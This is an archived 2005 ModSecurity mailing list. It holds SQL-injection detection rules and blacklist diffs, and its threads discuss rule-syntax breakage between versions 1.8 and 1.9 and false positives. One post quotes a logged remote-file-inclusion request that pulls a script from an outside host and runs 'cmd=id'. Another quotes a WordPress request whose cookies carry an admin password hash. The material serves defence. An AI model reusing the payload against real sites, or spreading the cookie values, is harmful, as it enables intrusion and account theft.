|\,]|\'|UNION.*SELECT.*FROM)" < SecFilterSelective REQUEST_URI "/content\.php" chain < SecFilterSelective ARG_cid "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #Lore "id" SQL Injection Vulnerability < SecFilterSelective REQUEST_URI "/article\.php" chain < SecFilterSelective ARG_id "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #DotClear "dc_xd" SQL Injection Vulnerability < SecFilterSelective THE_REQUEST "/session\.php" chain < SecFilterSelective COOKIE_cd_xd "((select|grant|delete|insert|drop| alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z| a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #DotClear "dc_xd" SQL Injection Vulnerability < SecFilterSelective REQUEST_URI "/index\.php" chain < SecFilterSelective ARG_x "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #O-Kiraku Nikki "day_id" SQL Injection Vulnerability < SecFilterSelective REQUEST_URI "/nikki\.php" chain < SecFilterSelective ARG_day_id "((select|grant|delete|insert|drop| alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z| a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < # AltantisFAQ SQL inj. vuln. < SecFilterSelective REQUEST_URI "/search\.php" chain < SecFilterSelective ARG_searchStr "((select|grant|delete|insert|drop| alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z| a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #FAQRing "id" SQL Injection Vulnerability < SecFilterSelective REQUEST_URI "/answer\.php" chain < SecFilterSelective ARG_id "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #WSN Knowledge Base SQL Injection Vulnerabilities < SecFilterSelective REQUEST_URI "/index\.php" chain < SecFilterSelective ARG_catid|ARG_perpage|ARG_ascdesc|ARG_orderlinks "((select|grant|delete|insert|drop|alter|replace|truncate|update|create| rename|describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from| into|table|database|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'| UNION.*SELECT.*FROM)" < SecFilterSelective REQUEST_URI "/(comments|memberlist)\.php" chain < SecFilterSelective ARG_id "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #Softbiz FAQ Script SQL Injection Vulnerabilities < SecFilterSelective REQUEST_URI "/(faq_qanda|refer_friend| print_article|add_comment)\.php" chain < SecFilterSelective ARG_id "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < SecFilterSelective REQUEST_URI "/index\.php" chain < SecFilterSelective ARG_cid "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #OmniStar KBase SQL Injection Vulnerabilities < SecFilterSelective REQUEST_URI "/comments\.php" chain < SecFilterSelective ARG_article_id "((select|grant|delete|insert|drop| alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z| a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < SecFilterSelective REQUEST_URI "/kb\.php" chain < SecFilterSelective ARG_category_id|ARG_id "((select|grant|delete| insert|drop|alter|replace|truncate|update|create|rename| describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table| database|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'| UNION.*SELECT.*FROM)" < < #FAQ System SQL Injection Vulnerabilities < SecFilterSelective REQUEST_URI "/viewFAQ\.php" chain < SecFilterSelective ARG_FAQ_ID "((select|grant|delete|insert|drop| alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z| a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < SecFilterSelective REQUEST_URI "/index\.php" chain < SecFilterSelective ARG_CATEGORY_ID "((select|grant|delete|insert|drop| alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z| a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #KBase Express SQL Injection Vulnerabilities < SecFilterSelective REQUEST_URI "/category\.php" chain < SecFilterSelective ARG_id "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #Orca Knowledgebase "qid" SQL Injection Vulnerability < SecFilterSelective REQUEST_URI "/knowledgebase\.php" chain < SecFilterSelective ARG_qid "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #Survey System "SURVEY_ID" SQL Injection Vulnerability < SecFilterSelective REQUEST_URI "/survey\.php" chain < SecFilterSelective ARG_SURVEY_ID "((select|grant|delete|insert|drop| alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z| a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #Orca Blog SQL inj. vuln. < SecFilterSelective REQUEST_URI "/blog\?msg=((select|grant|delete| insert|drop|alter|replace|truncate|update|create|rename| describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table| database|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'| UNION.*SELECT.*FROM)" < < #Orca Ringmaker "start" SQL Injection Vulnerability < SecFilterSelective REQUEST_URI "/ringmaker\.php" chain < SecFilterSelective ARG_start "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #ltwCalendar "id" SQL Injection Vulnerability < SecFilterSelective REQUEST_URI "/calendar\.php" chain < SecFilterSelective ARG_id "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #Nephp Publisher SQL Injection Vulnerabilities < SecFilterSelective REQUEST_URI "/index\.html" chain < SecFilterSelective ARG_id|ARG_nnet_catid "((select|grant|delete| insert|drop|alter|replace|truncate|update|create|rename| describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table| database|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'| UNION.*SELECT.*FROM)" < < #Zainu SQL Injection Vulnerabilities < SecFilterSelective REQUEST_URI "/index\.php" chain < SecFilterSelective ARG_start|ARG_term "((select|grant|delete|insert| drop|alter|replace|truncate|update|create|rename| describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table| database|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'| UNION.*SELECT.*FROM)" < < #Babe Logger "gal" and "id" SQL Injection Vulnerabilities < SecFilterSelective REQUEST_URI "/index\.php" chain < SecFilterSelective ARG_gal "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < SecFilterSelective REQUEST_URI "/comments\.php" chain < SecFilterSelective ARG_id "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" Diff of /etc/modsecurity/blacklist2.conf 13c13 < # Version: N-20051203-01 --- > # Version: N-20051201-02 19,20d18 < SecFilterSelective THE_REQUEST "yavnek12\.co\.il" < SecFilterSelective THE_REQUEST "usuarios\.lycos\.es" 27,28d24 < SecFilterSelective THE_REQUEST "81\.174\.26\.111" < SecFilterSelective THE_REQUEST "192\.112\.220\.37" 63c59 < SecFilterSelective THE_REQUEST "\.s5\.com" --- > SecFilterSelective THE_REQUEST "\.booy.s5\.com" 188a185 > SecFilterSelective THE_REQUEST "\.s5\.com/" Diff of /etc/modsecurity/exclude.conf Diff of /etc/modsecurity/rootkits.conf Diff of /etc/modsecurity/useragents.conf 13c13 < # Version: N-20051203-01 --- > # Version: N-20051129-01 23c23 < SecFilterSelective HTTP_USER_AGENT "<(.|\s|\n)?(script|about|applet| activex|chrome|object)(.|\s|\n)?>.*<(.|\s|\n)?(script|about|applet| activex|chrome|object)" --- > SecFilterSelective HTTP_USER_AGENT "<(.|\s|\n)*?(script|about|applet| activex|chrome|object)(.|\s|\n)?>.*<(.|\s|\n)?(script|about|applet| activex|chrome|object)" Diff of /etc/modsecurity/exclude.conf Diff of /etc/modsecurity/badips.conf Diff of /etc/modsecurity/recons.conf -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 827 bytes Desc: This is a digitally signed message part Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20051203/b7841d99/attachment.bin From quien-sabe at metaorg.com Sat Dec 3 19:34:42 2005 From: quien-sabe at metaorg.com (Who Knows) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] broken rule ( i think ) Message-ID: <439239A2.1010105@metaorg.com> I just enabled server-status / server-info on my apache server to help troubleshoot a runaway process the rule: #Apache /server-info accessible SecFilterSelective THE_REQUEST "/server-info" stopped me from getting info, but the rule: #Apache /server-status accessible #Modified so apache-protect can run SecFilterSelective REQUEST_URI "^/server-status/$" chain SecFilterSelective REMOTE_ADDR "!^127\.0\.0\.1$" does not prevent my access to /server-status so I am assuming the rule is broken ? regards, jim From mario at 2k5.antispam.de Sat Dec 3 22:14:43 2005 From: mario at 2k5.antispam.de (Mario) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Problem with new rules.conf Message-ID: <43925F23.20901@2k5.antispam.de> Hi, I am using the Got Root mod_security rules since a few month and update them every day. This night, apache did not restart. Following message: delta:/etc/apache2/modsecurity# /etc/init.d/apache2 start Starting web server: Apache2Syntax error on line 24 of /etc/apache2/modsecurity/rules.conf: Unknown mod_security action "rev:1" This is the line in rules.conf SecFilterSelective THE_REQUEST "!HTTP\/(0\.9|1\.0|1\.1)$" "id:300000,rev:1,severity:3,msg:'Invalid HTTP protocol attempt'" If I remove the "rev:1", apache does not recognize "severity:3". I am running an AMD64 Debian Sarge with the included apache2-mpm-worker package. Is this an error in the rule files, or do I have a configuration problem? Regards Mario From quien-sabe at metaorg.com Sun Dec 4 00:10:15 2005 From: quien-sabe at metaorg.com (Who Knows) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Problem with new rules.conf In-Reply-To: <43925F23.20901@2k5.antispam.de> References: <43925F23.20901@2k5.antispam.de> Message-ID: <43927A37.4030908@metaorg.com> Mario wrote: >Is this an error in the rule files, or do I have a configuration problem? > > I am not 100% certain, but I think the rules now require mod_security 1.9.x or later. There was some discussion on the list about it, but I think the rules just started using the newer syntax before a really loud ANNOUNCEMENT was made. Regards, Jim From mario at 2k5.antispam.de Sun Dec 4 03:09:58 2005 From: mario at 2k5.antispam.de (Mario) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Problem with new rules.conf In-Reply-To: <4392699A.3040409@gotroot.com> References: <43925F23.20901@2k5.antispam.de> <4392699A.3040409@gotroot.com> Message-ID: <4392A456.6050009@2k5.antispam.de> Hi, > What version of mod_security do you run? I am running version 1.8.7. See: http://packages.debian.org/stable/web/libapache2-mod-security Jim wrote: > I am not 100% certain, but I think the rules now require mod_security 1.9.x or later. There > was some discussion on the list about it, but I think the rules just started using the newer > syntax before a really loud ANNOUNCEMENT was made. This would be bad. Is there any possibility to run the rules with my version? After all it is the current Debian stable... Cheers Mario modsecurity@gotroot.com schrieb: > Hello, > > What version of mod_security do you run? > > Sincerely, > Your Neighborhood List Keeper > > Mario wrote: > >> Hi, >> >> I am using the Got Root mod_security rules since a few month and update >> them every day. This night, apache did not restart. Following message: >> >> delta:/etc/apache2/modsecurity# /etc/init.d/apache2 start >> Starting web server: Apache2Syntax error on line 24 of >> /etc/apache2/modsecurity/rules.conf: >> Unknown mod_security action "rev:1" >> >> This is the line in rules.conf >> SecFilterSelective THE_REQUEST "!HTTP\/(0\.9|1\.0|1\.1)$" >> "id:300000,rev:1,severity:3,msg:'Invalid HTTP protocol attempt'" >> >> If I remove the "rev:1", apache does not recognize "severity:3". >> >> I am running an AMD64 Debian Sarge with the included apache2-mpm-worker >> package. >> >> Is this an error in the rule files, or do I have a configuration problem? >> >> Regards >> Mario >> _______________________________________________ >> Modsecurity mailing list >> Modsecurity@gotroot.com >> http://lists.gotroot.com/mailman/listinfo/modsecurity From mike at gotroot.com Sun Dec 4 10:44:09 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] ANNOUCEMENT: Upgrade to modsecurity 1.9.x In-Reply-To: <43927A37.4030908@metaorg.com> References: <43925F23.20901@2k5.antispam.de> <43927A37.4030908@metaorg.com> Message-ID: <43930EC9.3070902@gotroot.com> Ok, I'm sorry, I thought it was clear that I was going to start adding id's, but I conceed that I didn't make a big annoucement to that effect and I may have started too soon. I'll pull all the id's and hold off on that until next week. With that said, and so, that everyone will be prepared: I'm going to be adding in id's to the rules in one week. Repeat: In one week, the new 1.9.x format will be used for *all rules*. If you are not upgraded to 1.9.x, the rules will not work for you anymore. Also, the recon rules are already configured for 1.9.x, so do not use them unless you are using 1.9.x. I'm not going to change the recon rules, so consider it a nice incentive to upgrade to 1.9.x. :-) Really, its not painful, its easy to do, and if you have problems upgrading, please post to the list. I'm happy to help. It really important that I make this change to the rules, as the lack of id rules prevents the creation of a management infrastructure, and it makes it really hard on everyone to find misfiring rules. Who Knows wrote: > Mario wrote: > >> Is this an error in the rule files, or do I have a configuration >> problem? >> >> > I am not 100% certain, but I think the rules now require mod_security > 1.9.x or later. There > was some discussion on the list about it, but I think the rules just > started using the newer > syntax before a really loud ANNOUNCEMENT was made. > > Regards, > Jim > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity From mike at gotroot.com Sun Dec 4 10:49:31 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Problem with new rules.conf In-Reply-To: <4392A456.6050009@2k5.antispam.de> References: <43925F23.20901@2k5.antispam.de> <4392699A.3040409@gotroot.com> <4392A456.6050009@2k5.antispam.de> Message-ID: <4393100B.3050807@gotroot.com> Mario wrote: >Hi, > > > >>What version of mod_security do you run? >> >> > >I am running version 1.8.7. >See: http://packages.debian.org/stable/web/libapache2-mod-security > >Jim wrote: > > >>I am not 100% certain, but I think the rules now require mod_security 1.9.x or later. There >>was some discussion on the list about it, but I think the rules just started using the newer >>syntax before a really loud ANNOUNCEMENT was made. >> >> > >This would be bad. Is there any possibility to run the rules with my >version? After all it is the current Debian stable... > > Hmmm... this is troubling, I really don't want to leave anyone out, and I could fork the rules if thats what needs to be done. I'll noodle this over, in the mean time, all the rules will have all the 1.9.x features removed so 1.8.x users can stick with 1.8.x. I am going to put out 1.9.x rules in one week. Basically, I need these id's so I can work on a management infrastructure, and so that you and everyone else can find misfiring rules easily. Well, I guess I'll have to fork the rules, since debian is still behind, cpanel is behind and I'm sure someone else is too. :-( OK, so, new annoucement: Rule fork coming: I'm going to fork the rules into 1.8 and 1.9 sets. The paths to the rules will change. Repeat: The URL will change for 1.8 users. The latest current version of modsecurity will always stay with the latest path, the older versions will have their own tree. I guess we are going to head down the snort path, which is understandable, but if you can upgrade to 1.9, please do so. There are a lot of new features I can use to make the rules much better that simply do not exist in 1.8, further, you will not be able to use the upcoming management tools with 1.8 - so if you need that, please upgrade! You'll be glad you did. And again, sorry for anyone running 1.8, I wrongly assumed that more people had upgraded. >Cheers >Mario > >modsecurity@gotroot.com schrieb: > > >>Hello, >> >>What version of mod_security do you run? >> >>Sincerely, >>Your Neighborhood List Keeper >> >>Mario wrote: >> >> >> >>>Hi, >>> >>>I am using the Got Root mod_security rules since a few month and update >>> them every day. This night, apache did not restart. Following message: >>> >>>delta:/etc/apache2/modsecurity# /etc/init.d/apache2 start >>>Starting web server: Apache2Syntax error on line 24 of >>>/etc/apache2/modsecurity/rules.conf: >>>Unknown mod_security action "rev:1" >>> >>>This is the line in rules.conf >>>SecFilterSelective THE_REQUEST "!HTTP\/(0\.9|1\.0|1\.1)$" >>>"id:300000,rev:1,severity:3,msg:'Invalid HTTP protocol attempt'" >>> >>>If I remove the "rev:1", apache does not recognize "severity:3". >>> >>>I am running an AMD64 Debian Sarge with the included apache2-mpm-worker >>>package. >>> >>>Is this an error in the rule files, or do I have a configuration problem? >>> >>>Regards >>>Mario >>>_______________________________________________ >>>Modsecurity mailing list >>>Modsecurity@gotroot.com >>>http://lists.gotroot.com/mailman/listinfo/modsecurity >>> >>> >_______________________________________________ >Modsecurity mailing list >Modsecurity@gotroot.com >http://lists.gotroot.com/mailman/listinfo/modsecurity > > From quien-sabe at metaorg.com Sun Dec 4 12:05:28 2005 From: quien-sabe at metaorg.com (Who Knows) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Problem with new rules.conf In-Reply-To: <4393100B.3050807@gotroot.com> References: <43925F23.20901@2k5.antispam.de> <4392699A.3040409@gotroot.com> <4392A456.6050009@2k5.antispam.de> <4393100B.3050807@gotroot.com> Message-ID: <439321D8.9010600@metaorg.com> Michael Shinn wrote: >> I am running version 1.8.7. >> >> This would be bad. Is there any possibility to run the rules with my >> version? After all it is the current Debian stable... >> >> > > Hmmm... this is troubling, I really don't want to leave anyone out, > and I could fork the rules if thats what needs to be done. I'll > noodle this over, in the mean time, all the rules will have all the > 1.9.x features removed so 1.8.x users can stick with 1.8.x. I am > going to put out 1.9.x rules in one week. Basically, I need these > id's so I can work on a management infrastructure, and so that you and > everyone else can find misfiring rules easily. > Well, I guess I'll have to fork the rules, since debian is still > behind, cpanel is behind and I'm sure someone else is too. :-( > > OK, so, new annoucement: > > Rule fork coming: > > I'm going to fork the rules into 1.8 and 1.9 sets. The paths to the > rules will change. Repeat: The URL will change for 1.8 users. The > latest current version of modsecurity will always stay with the latest > path, the older versions will have their own tree. I guess we are > going to head down the snort path, which is understandable, but if you > can upgrade to 1.9, please do so. There are a lot of new features I > can use to make the rules much better that simply do not exist in 1.8, > further, you will not be able to use the upcoming management tools > with 1.8 - so if you need that, please upgrade! You'll be glad you did. > > And again, sorry for anyone running 1.8, I wrongly assumed that more > people had upgraded. For those of you running standard Fedora httpd packages that are up to date with the release for each distro the following packages may make upgrading easier. http://mirrors.aidant.org/aidant/packages/mod_security/mod_security-1.9.1-1.fc1.ae.i386.rpm http://mirrors.aidant.org/aidant/packages/mod_security/mod_security-1.9.1-1.fc2.ae.i386.rpm http://mirrors.aidant.org/aidant/packages/mod_security/mod_security-1.9.1-1.fc3.ae.i386.rpm http://mirrors.aidant.org/aidant/packages/mod_security/mod_security-1.9.1-1.fc4.ae.i386.rpm http://mirrors.aidant.org/aidant/packages/mod_security/mod_security-1.9.1-1.ae.src.rpm http://mirrors.aidant.org/aidant/packages/packages/RPM-GPG-KEY-aidant.txt Regards, Jim From tom-fedora at kofler.eu.org Tue Dec 6 10:08:52 2005 From: tom-fedora at kofler.eu.org (Thomas Kofler) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] "Google Hacks" signatures for Apache1 Message-ID: <1133881732.4395a98490d24@mail.devcon.cc> Hi, I am wondering, if the rules for the Google hacks for mod_security 1.9 work also on Apache1? In the download section under "Complete rulesets" the Google hacks rule file is missing in the tar.gz - package for apache1. Thanks for response, Thomas From mike at gotroot.com Tue Dec 6 11:50:15 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] "Google Hacks" signatures for Apache1 In-Reply-To: <1133881732.4395a98490d24@mail.devcon.cc> References: <1133881732.4395a98490d24@mail.devcon.cc> Message-ID: <1133887815.32700.4.camel@localhost.localdomain> On Tue, 2005-12-06 at 16:08 +0100, Thomas Kofler wrote: > Hi, > > I am wondering, if the rules for the Google hacks for mod_security 1.9 work > also on Apache1? Possibly, I have not tested them with apache 1.x. > In the download section under "Complete rulesets" the > Google hacks rule file is missing in the tar.gz - package for apache1. > > > Thanks for response, > Thomas > > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 827 bytes Desc: This is a digitally signed message part Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20051206/5188671e/attachment.bin From rami at active.co.il Tue Dec 6 15:26:01 2005 From: rami at active.co.il (Rami Addady) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Another on to the list Message-ID: <4395F3D9.5040300@active.co.il> Request: 85.98.112.195 - - [03/Dec/2005:04:36:31 +0200] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://usuarios.lycos.es/angienuk/tool25.dat?&cmd=id HTTP/1.0" 403 0 Ram From michal at sabren.com Tue Dec 6 21:37:14 2005 From: michal at sabren.com (Michal Wallace) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Fwd: 406 error in posting in wordpress (fwd) Message-ID: Hey all, I really like the known exploit rules, but ever since I installed them I'm getting all kinds of emails like this: Michal - I figured out what was happening. For some reason having "chicklet generator" in the post was throwing up red flags. I reworded the post and it appears to work now. The generic rules are just WAY too paranoid for my particular user base. Any chance at all that these could be separated out in this new system? Or even just moved into a separate file? The post for this incdient is below. Sincerely, Michal J Wallace Sabren Enterprises, Inc. ------------------------------------- contact: michal@sabren.com hosting: http://www.cornerhost.com/ my site: http://www.withoutane.com/ ------------------------------------- POST /wp-admin/post.php HTTP/1.1 Host: baseblogging.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 ~~~~~~~~~~~~~~~: ~~~~~~~~~~~~ Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://baseblogging.net/wp-admin/post.php Cookie: comment_author_url_251e492b323a2dc6a19caf09b354ae28=http%3A%2F%2F; wordpressuser_251e492b323a2dc6a19caf09b 354ae28=admin; comment_author_251e492b323a2dc6a19caf09b354ae28=admin; wordpresspass_251e492b323a2dc6a19caf09b354ae 28=e50476111d300d9f7ed4ca45e4cc1627; comment_author_email_251e492b323a2dc6a19caf09b354ae28=blog%40baseblogging.net Content-Type: application/x-www-form-urlencoded Content-Length: 3827 mod_security-message: Access denied with code 406. Pattern match "([[:space:]]+(select|grant|delete|insert|drop|al ter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table| database|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|UNION SELECT.*\'.*\'.*,[0-9].*INTO.*FROM)" at POST_PAYLOAD mod_security-action: 406 3827 user_ID=1&action=post&post_author=&post_title=Subscribing+-+Make+it+Easy&post_category%5B%5D=11&advanced_view=1&co mment_status=open&ping_status=open&post_password=&excerpt=&content=The+vast+majority+of+blogging+software+generate s+some+sort+of+subscribable+feed%2C+whether+it+is+one+of+the+versions+of+%3Cacronym+title%3D%22Really+Simple+Syndi cation%22%3ERSS%3C%2Facronym%3E+or+Atom.++Even+though+these+feeds+are+generated%2C+bloggers+don%27t+always+make+it +easy+for+readers+to+subscribe.++The+result+is+that+bloggers+may+be+missing+an+opportunity+to+capture+additional+r eaders+and%2For+subscribers.%3C%21--more--%3E%0D%0A%0D%0AYour+readers+who+are+familiar+with+RSS+already+probably+k now+what+to+do+when+they+see+the+little+orange+XML+square.++They+know+how+to+use+that+button+to+get+the+address+to +the+feed%2C+and+then+use+their+newsreader.++However%2C+there+are+still+quite+a+few+users+who+aren%27t+familiar+wi th+syndication.++How+do+you+get+people+who+don%27t+know+about+syndication+to+subscribe+to+your+feed%3F++With+chick lets.%0D%0A%0D%0A%3Cimg+src%3D%27http%3A%2F%2Fus.i1.yimg.com%2Fus.yimg.com%2Fi%2Fus%2Fmy%2Faddtomyyahoo4.gif%27+wi dth%3D%2791%27+height%3D%2717%27+border%3D%270%27+align%3D%27middle%27+alt%3D%27Add+to+My+Yahoo%21%27%2F%3E+%7C+%3 Cimg+src%3D%27http%3A%2F%2Fsc.msn.com%2Fc%2Frss%2Frss_mymsn.gif%27+alt%3D%27Subscribe+in+My+MSN%27+border%3D%270%2 7%2F%3E++%0D%0A%0D%0AThose+little+buttons+you+see+sprouting+up+on+more+and+more+sites+are+chicklets.++While+a+read er+may+not+be+very+familiar+with+RSS%2C+they+do+konw+that+if+they+click+the+button+they+can+add+your+site+to+their +%22My+Yahoo%22+page.++Even+as+someone+who+is+quite+familiar+with+RSS%2C+I%27m+more+likely+to+subscribe+to+a+site+ if+it+is+as+easy+as+clicking+a+button.+++And+I%27m+very+likely+to+subscribe+if+that+button+is+easy+to+find.++Don%2 7t+bury+the+chicklet+on+your+page.++Give+it+a+logical+location%2C+like+a+special+section+of+a+sidebar.%0D%0A%0D%0A As+for+creating+the+chicklets+there+are+a+couple+ways+to+do+this.++There+is+a+%3Ca+href%3D%22http%3A%2F%2Fwww.kbca fe.com%2Frss%2Fchicklet.aspx%22%3Echicklet+generator%3C%2Fa%3E%2C+where+you+drop+a+small+piece+of+script+into+your +browser+and+it+will+create+the+chicklets+for+you.%0D%0A%0D%0AThe+tool+I+prefer+to+use+is+%3Ca+href%3D%22http%3A%2 F%2Ffeedburner.com%22%3EFeedburner%3C%2Fa%3E.++Feedburner+will+also+help+generate+chicklets+for+you%2C+but+it+also +does+quite+a+bit+more.++By+%22burning+a+feed%22+with+Feedburner%2C+you+take+your+feed+in+any+format+and+feedburne r+will+repackage+it+so+that+it+can+be+universally+accepted.++Feedburner+also+offers+Feedblitz+where+users+can+subs cribe+via+email+to+your+feed.++Finally%2C+you+can+view+statistics+on+the+distribution+of+your+feed.++You+can+see+h ow+many+subscribers+you+have+and+how+often+they+check+your+feed.++I%27ve+used+Feedburner+on+this+site+to+create+ev erything+under+%22Syndication%22+on+the+main+page+sidebar.%0D%0A%0D%0AYet+another+way+to+make+your+feed+easy+to+fi 